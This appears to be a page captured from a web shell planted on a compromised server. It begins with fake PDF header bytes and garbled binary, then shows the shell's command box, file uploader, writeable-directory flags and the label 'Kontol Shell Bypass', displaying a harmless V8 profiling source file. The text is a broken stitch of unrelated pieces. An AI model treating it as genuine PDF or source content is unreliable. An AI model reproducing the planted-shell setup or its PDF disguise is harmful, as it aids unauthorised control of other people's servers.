%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/home/ubuntu/node-v16.18.1/deps/v8/src/third_party/vtune/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/home/ubuntu/node-v16.18.1/deps/v8/src/third_party/vtune/vtuneapi.cc
#include "vtuneapi.h"
#ifdef _MSC_VER  // for msvc
#include <cstdlib>
#endif

std::map<std::string, std::shared_ptr<VTuneDomain>> VTuneDomain::domains_;
std::map<std::string, __itt_string_handle*> VTuneDomain::string_handlers_;

std::shared_ptr<VTuneDomain> VTuneDomain::createDomain(
    const char* domain_name) {
  auto domain = getDomain(domain_name);

  if (domain == nullptr) {
#ifdef _MSC_VER  // for msvc
    wchar_t buffer[255];
    mbstowcs(buffer, domain_name, 255);
    __itt_domain* itt_domain = __itt_domain_create(buffer);  // call api
#else  // for clang and gcc
    __itt_domain* itt_domain = __itt_domain_create(domain_name);  // call api
#endif
    if (itt_domain != NULL) {
      std::string key(domain_name);
      std::shared_ptr<VTuneDomain> value(new VTuneDomain(itt_domain));
      domain = value;
      domains_.insert(std::make_pair(key, value));
    }
  }

  return domain;
}

void VTuneDomain::destroyDomain(const char* domain_name) {
  auto it = domains_.find(domain_name);
  if (it != domains_.end()) {
    domains_.erase(it);
  }
}

std::shared_ptr<VTuneDomain> VTuneDomain::getDomain(const char* domain_name) {
  std::shared_ptr<VTuneDomain> result(nullptr);

  auto it = domains_.find(domain_name);
  if (it != domains_.end()) {
    result = it->second;
  }

  return result;
}

__itt_string_handle* VTuneDomain::getString(const char* str) {
  __itt_string_handle* result = NULL;

  auto it = string_handlers_.find(str);
  if (it != string_handlers_.end()) {
    result = it->second;
  } else {
#ifdef _MSC_VER  // for msvc
    wchar_t buffer[255];
    mbstowcs(buffer, str, 255);
    result = __itt_string_handle_create(buffer);  // call api
#else                                             // for clang and gcc
    result = __itt_string_handle_create(str);
#endif
    std::string key(str);
    string_handlers_.insert(std::make_pair(key, result));
  }

  return result;
}

bool VTuneDomain::beginTask(const char* task_name) {
  bool result = false;

  __itt_string_handle* name = getString(task_name);
  if (name != NULL) {
    __itt_task_begin(domain_, __itt_null, __itt_null, name);
    result = true;
  }

  return result;
}

void VTuneDomain::endTask() { __itt_task_end(domain_); }

Kontol Shell Bypass